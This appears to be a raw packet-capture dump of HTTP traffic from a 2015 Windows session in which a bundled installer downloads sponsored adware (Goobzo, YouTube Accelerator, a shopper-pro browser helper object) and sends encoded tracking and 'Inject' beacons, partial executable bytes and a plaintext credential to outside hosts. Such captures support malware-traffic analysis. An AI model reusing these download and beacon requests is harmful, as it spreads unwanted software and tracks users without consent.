.......%[email protected]...<....C...c...o..jz...S_...:.......lb..C..... 
<<< skipped >>>


GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh/sBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAaeHbd/zx37qXr15cmiQDc= HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.digicert.com


HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=508624
Content-Type: application/ocsp-response
Date: Thu, 12 Feb 2015 05:33:59 GMT
Etag: "54dbffee-1d7"
Expires: Wed, 18 Feb 2015 17:33:59 GMT
Last-Modified: Thu, 12 Feb 2015 01:20:46 GMT
Server: ECS (ams/49E4)
X-Cache: HIT
Content-Length: 471
0..........0..... .....0......0...0........P5V.L.f........=.U..2015021
1200000Z0s0q0I0... .........Q..2...}Q......b.U.....P5V.L.f........=.U.
[email protected]...*.H........
..........\.....H...{....W&......"GR{.m.t...q.H..E.....7...OJ..>...
...;g0....>........U.yNh`..{....O.E...Hz..o..~.FH...rTd...D...F...x
M..>m.A..5.....D;.Q..........Sr..]U`.Y...w...P.].z0.y...ZV.Z.u.....
.)C....f..._L~...c.. .k......8..F..w"...]L.|B......m........HTTP/1.1 2
00 OK..Accept-Ranges: bytes..Cache-Control: max-age=508624..Content-Ty
pe: application/ocsp-response..Date: Thu, 12 Feb 2015 05:33:59 GMT..Et
ag: "54dbffee-1d7"..Expires: Wed, 18 Feb 2015 17:33:59 GMT..Last-Modif
ied: Thu, 12 Feb 2015 01:20:46 GMT..Server: ECS (ams/49E4)..X-Cache: H
IT..Content-Length: 471..0..........0..... .....0......0...0........P5
V.L.f........=.U..20150211200000Z0s0q0I0... .........Q..2...}Q......b.
U.....P5V.L.f........=.U...........z....@7....20150211200000Z....20150
218200000Z0...*.H..................\.....H...{....W&......"GR{.m.t...q
.H..E.....7...OJ..>......;g0....>........U.yNh`..{....O.E...Hz..
o..~.FH...rTd...D...F...xM..>m.A..5.....D;.Q..........Sr..]U`.Y...w
...P.].z0.y...ZV.Z.u......)C....f..._L~...c.. .k......8..F..w"...]L.|B
......m............
<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQgppSLAb7oJaQ6RVV2Zh9VwZIGMwQUkHHbN+tzyO/c1R4StjS6K1qgppICEAhNBHHxCxzajegaZLj8jyw= HTTP/1.1


Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.digicert.com


HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=510956
Content-Type: application/ocsp-response
Date: Thu, 12 Feb 2015 05:34:00 GMT
Etag: "54dc01b5-1d7"
Expires: Wed, 18 Feb 2015 17:34:00 GMT
Last-Modified: Thu, 12 Feb 2015 01:28:21 GMT
Server: ECS (ams/D1B3)
X-Cache: HIT
Content-Length: 471
0..........0..... .....0......0...0.......q.7.s.......4. Z.....2015021
2011300Z0s0q0I0... ........ ......%.:EUvf.U...3...q.7.s.......4. Z....
..M.q.......d...,....20150212011300Z....20150219012800Z0...*.H........
.......CF..`j"..[.N.......a.:...4..;...I..\.(~V.o%.9.?."....uum.......
[.., .e.....&..c.{>-:..NXU./u..Q.9......n.d.../,:t"..h.x.q......s.;
......3.e.......D.A...n.......P#.w......&...............zZ.:{p......%.
...........m...*...|..I:...\.'..TKo........F.....X@5.~HTTP/1.1 200 OK.
.Accept-Ranges: bytes..Cache-Control: max-age=510956..Content-Type: ap
plication/ocsp-response..Date: Thu, 12 Feb 2015 05:34:00 GMT..Etag: "5
4dc01b5-1d7"..Expires: Wed, 18 Feb 2015 17:34:00 GMT..Last-Modified: T
hu, 12 Feb 2015 01:28:21 GMT..Server: ECS (ams/D1B3)..X-Cache: HIT..Co
ntent-Length: 471..0..........0..... .....0......0...0.......q.7.s....
...4. Z.....20150212011300Z0s0q0I0... ........ ......%.:EUvf.U...3...q
.7.s.......4. Z......M.q.......d...,....20150212011300Z....20150219012
800Z0...*.H...............CF..`j"..[.N.......a.:...4..;...I..\.(~V.o%.
9.?."....uum.......[.., .e.....&..c.{>-:..NXU./u..Q.9......n.d.../,
:t"..h.x.q......s.;......3.e.......D.A...n.......P#.w......&..........
.....zZ.:{p......%............m...*...|..I:...\.'..TKo........F.....X@
5.~..
<<< skipped >>>


GET /app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UkmHgElHm6ZYRTcio4GHUdmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUNj04KXGjYQnPHJvXTg/akCAO3s1/FmYFjO2vDD70UhaWuFOi2qi2KH&product=EXTBHO&bhov=1.0.1.4&rnd=3731&action=Inject&text=GeneralInjector&usid=2858020935-2156992550-3658131804&pixguid=572a1153-8705-4466-affe-b5bad540fde1&it=6 HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:34:02 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Thu, 12 Feb 20
15 05:34:02 GMT..Content-Length: 0..



GET /app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UkmHgElHm6ZYRTcio4GHUdmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUNj04KXGjYQnPHJvXTg/akCAO3s1/FmYFjO2vDD70UhaWuFOi2qi2KH&product=EXTBHO&bhov=1.0.1.4&rnd=3731&action=Init&text=BHO version: 1.0.1.4. IE version: 10.0.9200.16521. DB name: database1_0_0.json. DB version: 1.0.1.0&usid=2858020935-2156992550-3658131804&pixguid=572a1153-8705-4466-affe-b5bad540fde1&it=6 HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:34:02 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Thu, 12 Feb 20
15 05:34:02 GMT..Content-Length: 0..



GET /app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UkmHgElHm6ZYRTcio4GHUdmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUNj04KXGjYQnPHJvXTg/akCAO3s1/FmYFjO2vDD70UhaWuFOi2qi2KH&product=EXTBHO&bhov=1.0.1.4&rnd=3731&action=Inject&text=GoobzoInfo&usid=2858020935-2156992550-3658131804&pixguid=572a1153-8705-4466-affe-b5bad540fde1&it=6 HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:34:02 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Thu, 12 Feb 20
15 05:34:02 GMT..Content-Length: 0..



GET /install.ashx?e=b1dRW7RxYKfUIwSieNK cC0i4Lp/1Apc cB5puCIxuyqT87ZizpXK0HDmr9X7yCJxU6CcRl6aJOzKeWuSSi2PBwzNptWSIT4dhK78JwZANhLABaclESgbf20oOr7zOHjPx8KWfhqeDOpxUIS7OwCHof1NPSxCxLx7D8pdbzyFnRh6ZwsNcvy1slizlguN8rLx fZkzS1y kBO9CgPGV4WwPGAmcePe PVc3ikfmJT/O3t0uHUnyA1LmMhBD8DtZyqxW09QGMI6HK30lLUmdgz8l8mpqQv2qgb8GEz0QP2WSXRnuxaKyoJiTGxr4ns8yOPME0d9HYViswEPxgQlArChcN IiXEROGvRqQwj8kRC3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l75z3VpsTY1Y9NtefOTH4UpSnkSnlVgA Q== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dfb5uyoqjsg4c.cloudfront.net
Connection: Keep-Alive



u.b.TD .](C.=.q/"u......./...s.\......H...r.c.........Bv...?..^.$.o...
{.k.K.....q@,(..;.?...a(H#C$..C..R......G....z...8...y...a.s.....\..,I
.9!.....E.8.n..-..n..(K..H.....91....'......J...(1!....!f8.Fdk......?.
..C. .d.......B..._...$.&>p.0...5.L..'5.....-14w......< C.t^.c..
.C....4.=.......v....,.



GET /download.php?msorder=5&smsorder=0&campaign=14782&tracker=2202 HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: app.easy-burner.com
Cache-Control: no-cache
Cookie: softdown=1423719126364044; install_cookie=14782,,


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:32:06 GMT
Content-Type: octet-stream
Connection: keep-alive
Set-Cookie: install_cookie=14782,,; expires=Sat, 14-Mar-2015 05:32:06 GMT; path=/; domain=easy-burner.com
Content-Disposition: filename=easyburner-setup.exe
Content-Length: 1498064
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......o..< .ro 
.ro .ro"..o .ro"..o1.ro"..o..ro...o(.ro5..o(.ro...o>.ro .so..ro"..o
V.ro5..o*.ro"..o*.roRich .ro................PE..L...6..L..............
.......(......@\............@.................................].......
......................................................................
[email protected].......@.......
.............text...,........................... ..`.rdata............
..................@[email protected]...,[email protected]...
.............>..............@..@...................................
......................................................................
......................................................................
......................................................................
......................................................................
.....................................................U...E.].........U
..]............U.....E.....E..M.....M..}..v..U......M.;.u..E.....3.]..
.........U.....E.....E..M.....M..U.....U..}..v .E.....U....;.t..M.....
E....3.;.....D......3.]............U...E...P.M.Q.U...R.E.P........]...
.............U...E...P.M.Q.U...R.E.P........]................U..Q.E..E
....M.....M..U.....U..}..v..E.f.M.f.....E...]..........U...E..M.f..f..
]................U...E.....U....3.;......].......U...E.P.M.Q.U.R......
..]........U...E.P........]................U...E.P.M.Q.U.R.E.P....
<<< skipped >>>


GET /smt2b/all/hat/row/setup.exe_a HTTP/1.1
Host: dl.ourgendataservice.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Thu, 12 Feb 2015 05:33:37 GMT
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1423713601"
Last-Modified: Thu, 12 Feb 2015 04:00:01 GMT
Cache-Control: max-age=1628
Content-Length: 2622765
Content-Type: text/plain
X-HW: 1423719217.dop002.am4.t,1423719217.cds058.am4.c
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L......P
.....................n......-A............@...........................
................ ..............................p.......... ...........
......................................................................
...........................text...<........................... .0`.
[email protected]$.......&.............
[email protected]@.bss..................................0..idata.......p.......
[email protected]...`....... [email protected]... ..
[email protected]..........................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U..WVS.......U..E....t.
..F........T.D..H...H.......M..E..5..D..D$...$...tE..M..E.....SS...E..
.$.D$... uE..M..E......M.WW......M.)..M..NT....NP........E.....}...VT.
.......FP..E........}..VP........U.......FT.............}..........E..
M...$..|sE..E..R...D$..E..D$...$...uE.....<$...sE..E..Q.}.;}...Q...
.~X........F4..$...sE...W..........$.E......E......D$........sE.RR.FX.
.$.D$....sE..5.sE.QQ..$.|$...RR...E...$..|....D$. ....D$..D$......D$.\
.D....tE...|.......T$...$..QQ.<$...sE.S.M..E..D$...$...uE.PP1..
<<< skipped >>>


GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=23f64a69-484a-4cc0-90a1-c34b11441526&Password=7c2fslav&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1423719198&SBPIDS=0 HTTP/1.1
User-Agent: CoreWinInet
Host: online.GOOBZO.com
Cache-Control: no-cache
Cookie: ASP.NET_SessionId=tdswdgjrsqxmq045be3kxg45


HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 100546
Content-Type: text/html; charset=utf-8
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Date: Thu, 12 Feb 2015 05:33:13 GMT
Connection: close
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>.<YTA><
CONFIG><SITES><LEN>99864</LEN>..<ZIP>0</
ZIP>..<XMLVERSION>20131113143800</XMLVERSION><DATA&g
t;..hzmx6NSdzPupSuFmPETTOwEaP5MtN3k5B2a5khhOAdWUsYMpoVIMyJmCvgMilCqVBj
4UbQPeysvtYNiJVZNbRiQ7kiQsDUsNZ3MEYy1JfoBg o4pFsDooC00NO31pfd X8nXxC3V
p1HfKOwdgo62mJR71PwoZndR4AVDfbY4 9wFzk5tF 7727dskH5IZvVtCTpSQRswno298p
arAhgqN6qT czhzLjGJDuSJCwNSw1xwvWc8nan6y8O2JpeHgh8bMQc3Btg097LREoQ8w0F
1OQktY78pcFTqkKychePn/BkFKYzMvpZMy3oEVdiQxtA5xdCc2YpO8/CTqFCBwPADyfxYv
2FEVfbbiJm9OYFcu118IHvVTOrVQafL QEq0UE2pvXQCRnwiLKkp2rjL8gdMtEShDzDQXU
5CS1jvylwVOqQrJyF4 f8Dt4Oelu3aKGRqumrg /iFozngL0PZo7xV IapaBL0J2JDuSJC
wNSw0svxf0mAsRlmEq8DYMfNoIOuCvQUIqzx3Jp/JaHAbdZcJOoUIHA8AP5qvMAtrk934H
d6DRXxR/qRhAvBesE3Xujk7yXbEuF7GpHiEFiCgrxFB5bOBLlmCPV7tVm0pUOGtH43b05W
UQ5y/jTrneLb7G3yjsHYKOtpgOWQYwQw2yOF7cSHoRn1cSqUrhZjxE0zsejhg2EGJPm5Xv
sdYcwlgFCPIGtJXT5or44D/zrQcOo12lJj5r3ojdmAGFido 37oT3SwxUyBYApR71PwoZn
dR4AVDfbY4 9zwk5A4Jnge/RPdLDFTIFgCZLLU7dfR VD VN6OwG s/84tOgdW/RrWk0GO
NPWePfzAC91wf62CJMVfxez40MStk0GONPWePfwyH243G2GPaN L3Yb09J2jjg1O9xFNo7
LRCtQYSZvjaZZMK3muQBGik0GONPWePfwyH243G2GPaN L3Yb09J2jjg1O9xFNo7Ku
<<< skipped >>>


GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=appshat_madness&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=4&index_in_screen=1&index_in_session=4&0.9549590813020323 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/easyburneres/easyburneres/55bf8432df4546428c4cd4ba3636f283?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:32:38 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 12 Feb 2015 05:32:38 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......


GET /pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=1&index_in_screen=1&index_in_session=1&0.9541772765527441 HTTP/1.1


Accept: */*
Referer: hXXp://bi.bisrv.com/easyburneres/easyburneres/55bf8432df4546428c4cd4ba3636f283?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:32:39 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 12 Feb 2015 05:32:39 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /YTAFinishInstall.gif HTTP/1.1
Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: pix.youtubeaccelerator.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: Microsoft-IIS/5.1
Cache-Control: max-age=0, must-revalidate
Expires: Fri, 30 Oct 1998 14:29:43 GMT
Date: Mon, 07 Aug 2006 07:07:36 GMT
Connection: close
Content-Type:image/gif
GIF89a.............!.......,...........D..;HTTP/1.1 200 OK..Server: Mi
crosoft-IIS/5.1..Cache-Control: max-age=0, must-revalidate..Expires: F
ri, 30 Oct 1998 14:29:43 GMT..Date: Mon, 07 Aug 2006 07:07:36 GMT..Con
nection: close..Content-Type:image/gif..GIF89a.............!.......,..
.........D..;..



GET /app/ping.ashx?e=LCnUzM5l8JJsK0lFUFVJ77pWLiw5aXWUdajd2k85AHmRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiSf/q8AVmKmzRAaimkHY3nlzFEM6Pn7EVX5NjeopULCFyYH9jylicula50u3XyigpVREcH6lvzpS2WA5XhQ4MoPBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dxdnyqIR9QB0GnruNs5KzEutf0zISs1zlcOHguxSl/CI4 9WnJbE3TF7rxlgtDF9piq6/Wrmw/a8h8kpng0IpIJ HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:49 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=LCnUzM5l8JJsK0lFUFVJ77pWLiw5aXWUdajd2k85AHmRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiSf/q8AVmKmzRAaimkHY3nlzFEM6Pn7EVX5NjeopULCF5Q6ZdlmdsYCbUPmaXNWlX6cOBv59w3XV3YMennWKpognh1HGq AP1KrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEbBRuaRLHbXn5mkDX gyGqp4AL7nAUqp 9NlcmgfuwJI1qW3DP  IpYv 06Xc1Z1Bk7xKwR3W9AY9/CpuCTIAF0= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:49 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=LCnUzM5l8JJsK0lFUFVJ77pWLiw5aXWUdajd2k85AHmRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiSf/q8AVmKmzRAaimkHY3nlzFEM6Pn7EVX5NjeopULCF62mie6K97bhs4164GCUCrHofaoyXCfoQIRgpbKKs6jK/sEUd/BCBLE 1KakB36ssAyR0VhWfLz7rzCOqouSiOX3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ORm1WAVEoCJvjVnoHHj/VRE41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCdrQsq3xm3Mypq73FZdDH/8= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:49 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=uWabAt9SLcwnl2fxC/Wcu7pWLiw5aXWUdajd2k85AHmRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiSf/q8AVmKmzRAaimkHY3nlzFEM6Pn7EVX5NjeopULCFyYH9jylicula50u3XyigpVREcH6lvzpS5NOnjhl29VMiawHEBbFjHDiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvDlvHUGzrBfzaX6Frrq29SCnHdd5HUOns4EacvjQzW0IqsJA2m o8 j6H1WcDgaF8f PLwbgUYljhKIPjTcuiw= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:49 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=LU2XQ3qyK2AaXrHZgA5m35Bkb5wA0JmH2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrVTOts69f7XGIYay O9/s6MurOsV6lhResO0uF 97g pV9oK7vZm95VRGW796HUe3a50u3XyigpUpkYBnI7MsgXVpi/XAxgNiFazLZl BNqb5m5B1SgRIyasBC0rq0OgbqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGwUbmkSx215 ZpA1/oMhqqeAC 5wFKqfvTZXJoH7sCSNaltwz/viKWL/tOl3NWdQYDg1XhGFT0vPfwqbgkyABd HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:49 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=9g1KGrSSDbEfAxEXghvnLJU4N1PTMTY7TEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkD5OatmcvVLgIIY8Ek1vDoVj/Fsn7ICQK2r4/ch93s jXmz2ZWq7EeY4CjMIbuSmdGKzY45zi1OnWyB8eDAkaikyNo/Tb6k0OWO0o0lcgU2xnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYCYwZSN8LSVDY9OClxo2EJzxyb104P2pAgDt7NfxZmBYztrww 9FIWljFzjWJS83vuLmf6eHphUt9 inPTLZDtg= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:49 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=lOCrbsNL2zX5PxLbQh95wCHCCdGv/L44e 1fPGosvNH7RH4w/5EvdQk4teRL0v HZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UkmHgElHm6ZaS/Z04ZaZJZ4FF6f/a06pCWjwfqp7MHxGpMWXGXOfhUpfVTwYZZ42PrVKO0Ac9MLfiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvDlvHUGzrBfzaX6Frrq29SCnHdd5HUOns4EacvjQzW0IqsJA2m o8 j6H1WcDgaF7VGG/Xal99ijhKIPjTcuiw= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:50 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Thu, 12 Feb 20
15 05:32:50 GMT..Content-Length: 0......


GET /app/ping.ashx?e=c2mW1WEUbCEfAxEXghvnLMra7Gf2oZs6TEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkD5OatmcvVLgIIY8Ek1vDoVj/Fsn7ICQK2r4/ch93s i6QuzXSWi Ubm26xUzbFgx9jUckoqA0UYfqfFPqatGFoqP4Ly2z sHBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dxdnyqIR9QB0GnruNs5KzEutf0zISs1zlcOHguxSl/CI4 9WnJbE3TF7rxlgtDF9pjvi1O7gf08yR8kpng0IpIJ HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:51 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=4UrbhtFoG4YfAxEXghvnLMra7Gf2oZs6TEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkD5OatmcvVLgIIY8Ek1vDoVj/Fsn7ICQK2r4/ch93s jME mqF/Q9vA/4o7K5XbeaB5kQ3UA/pU73iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ORm1WAVEoCJvjVnoHHj/VRE41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCfTiV4jkxZTMpq73FZdDH/8= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:51 GMT
Content-Length: 0



GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.hp HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Thu, 12 Feb 2015 05:33:21 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.59 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Thu, 12 Feb 20
15 05:33:21 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.59 ms","message":"store 1 ac
tion and 0 update "}..0..



GET /pki/mscorp/crl/msitwww2.crl HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: mscrl.microsoft.com


HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=6533
Content-Type: application/pkix-crl
Date: Thu, 12 Feb 2015 05:35:02 GMT
Etag: "f3ebb69d2744d01:0"
Last-Modified: Mon, 09 Feb 2015 05:16:53 GMT
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
